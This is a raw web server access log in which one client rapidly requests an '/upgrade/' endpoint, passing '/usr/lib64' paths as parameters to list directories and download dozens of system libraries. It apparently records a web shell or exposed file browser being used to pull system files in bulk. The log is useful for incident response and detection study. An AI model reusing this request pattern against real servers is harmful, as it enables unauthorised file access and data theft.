45.135.193.11 - - [11/Sep/2026:23:01:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprotobuf-c.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121956 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprotobuf-c.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsss_certmap.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 131863 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsss_certmap.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:31 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2FNetworkManager HTTP/1.1" 200 5982 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2FNetworkManager" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGL.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 234664 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibGL.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavif.so.15&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 176589 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavif.so.15&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcom_err.so.2.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109822 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcom_err.so.2.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibform.so.6.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 135944 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibform.so.6.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstallocators-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111184 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstallocators-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:33 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2FX11 HTTP/1.1" 200 5734 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2FX11" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libhogweed.so.6.hmac&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103799 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2F.libhogweed.so.6.hmac&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstcontroller-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 133864 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstcontroller-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstrtp-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 179364 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstrtp-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhogweed.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 430542 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhogweed.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnm.so.0.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 744175 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnm.so.0.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrados.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 792306 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrados.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-esys.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 307437 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-esys.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:36 -0400] "GET /upgrade/?full_path=%2Fusr%2Flib64&location=%2F HTTP/1.1" 200 7732 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr%2Flib64&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fcrt1.o&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 104694 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fcrt1.o&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgnutls.so.30&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1451260 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgnutls.so.30&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjbig2dec.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 159555 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjbig2dec.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjavascriptcoregtk-4.0.so.18&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 4316 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjavascriptcoregtk-4.0.so.18&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmvec.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 192887 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmvec.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssh_threads.so.4.9.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 320999 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssh_threads.so.4.9.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtheoradec.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 139937 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtheoradec.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:40 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fpolkit-1 HTTP/1.1" 200 6095 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fpolkit-1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXfixes.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113541 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXfixes.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcdt.so.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118693 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcdt.so.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstaudio-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 327500 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstaudio-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdk-x11-2.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 486879 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdk-x11-2.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnettle.so.8.10&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 265057 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnettle.so.8.10&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnm.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 744044 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnm.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxdot.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113314 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxdot.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaio.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107989 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaio.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicutu.so.67&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 193920 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicutu.so.67&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap_r-2.4.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 105952 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap_r-2.4.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibreadline.so.8.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 253062 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibreadline.so.8.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibselinux.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 187948 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibselinux.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsss_nss_idmap.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120384 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsss_nss_idmap.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcairo.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 673518 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcairo.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_nouveau.so.2.128.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120261 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_nouveau.so.2.128.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-cursor.so.0.21.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 114381 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-cursor.so.0.21.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-glib.so.1.0.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109690 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-glib.so.1.0.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncursesw.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103753 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncursesw.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtinfo.so.6.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 176190 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtinfo.so.6.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5srv_mit.so.12&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 154220 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5srv_mit.so.12&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblzma.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 189960 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblzma.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpangoxft-1.0.so.0.4800.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119831 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpangoxft-1.0.so.0.4800.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsystemd.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 499897 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsystemd.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtheora.so.0.3.10&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 218672 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtheora.so.0.3.10&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-rc.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112272 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-rc.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dri3.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108706 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dri3.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:52 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fbpf HTTP/1.1" 200 5734 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fbpf" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibFLAC.so.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 277071 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibFLAC.so.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcolordprivate.so.2.0.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 199518 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcolordprivate.so.2.0.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibipset.so.13&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 161779 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibipset.so.13&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicui18n.so.67&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1396877 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicui18n.so.67&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxdot.so.4.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113768 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxdot.so.4.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlb.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 190100 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlb.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:55 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgalera-4 HTTP/1.1" 200 6090 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgalera-4" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:01:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrad.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119941 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrad.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
